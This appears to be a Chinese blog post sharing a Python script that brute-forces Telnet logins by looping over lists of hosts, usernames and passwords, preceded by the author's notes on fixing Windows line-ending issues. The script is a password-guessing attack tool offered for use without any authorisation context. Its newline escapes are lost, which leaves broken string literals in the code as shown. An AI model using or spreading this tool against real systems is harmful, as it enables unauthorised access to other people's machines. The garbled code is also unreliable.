• Python Telnet弱口令爆破脚本及遇到的错误与问题


    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住。然后等了好久后提示

    recv ‘ Session timed out. Telnet Server has closed t’

    虚拟机服务器是Win7的 主机客户也是Win7。

    原来代码是:

    1、一开始觉得是因为socket 设置的问题,上网查了很久,也按他们的方法改了,但都不管用。

    2、后来觉得是因为读取行的问题,linux和Windows返回行信息不同,所以没办法读取到,所以将

    tn.read_until("login:")
    tn.read_until("password:")

    都改成

    tn.read_until("
    ")

    结果还是没用。心疼自己= =

    3、于是又找啊找,看到了这篇文章 ,文章作者说:注意:
    这个问题将我纠结了好一阵子,最后跟踪调试发送命令字符串
    发现在windows操作系统中发送命令时一定要” ”,不然无法识别命令

    于是感觉自己看到了曙光,于是又按着改,但还是无功而返。

    4、最终,在这个地方找到了问题的原因。有个回答是:

    If you’re using Windows, be sure to add carriage return ( ) before the new line character:

    tn.write(user.encode(‘ascii’) + “ ”.encode(‘ascii’))

    我的理解是:在连接Windows操作系统的时候,因为编码的问题,如果直接 tn.write(user+” ”) 系统不识别,所以改成 tn.write(user.encode(‘ascii’) + “ ”.encode(‘ascii’)) 问题即可解决。

    Python Telnet弱口令爆破脚本:

    #!usr/bin/env python
    #!coding=utf-8
    
    __author__ = 'zhengjim'
    
    import telnetlib
    
    def telnet(host,user,pwd):
        try:
            tn = telnetlib.Telnet(host,timeout=10)
            tn.set_debuglevel(2)
            tn.read_until("
    ")
            tn.write(user.encode('ascii') + "
    ".encode('ascii'))
            tn.read_until("
    ")
            tn.write(pwd.encode('ascii') + "
    ".encode('ascii'))
            tn.read_all()
            print '用户名:' + user + ',密码:' + pwd + '成功'
        except:
            print '失败'
    
    
    host=open('host.txt')
    for line in host:
        host=line.strip('
    ')
        print '开始爆破主机:'+host
        user=open('user.txt')
        for line in user:
            user=line.strip('
    ')
            pwd =open('pwd.txt')
            for line in pwd:
                pwd = line.strip('
    ')
                print user + ':'+pwd
                telnet(host,user,pwd)

    目录下需要host.txt,user.txt,pwd.txt三个文件

    不足是代码比较简单,而且没多线程,效率比较低。

  • 相关阅读:
    LeetCode --- Climbing Stairs
    LeetCode --- Best Time to Buy and Sell Stock II
    LeedCode --- Best Time to Buy and Sell Stock
    git命令总结
    LeetCode --- Jump Game II
    Hdu 4497
    数据库lib7第4题创建存储过程
    Hdu 4496
    Hdu 4493
    快速排序
  • 原文地址:https://www.cnblogs.com/zhengjim/p/5640174.html
Copyright © 2020-2023  润新知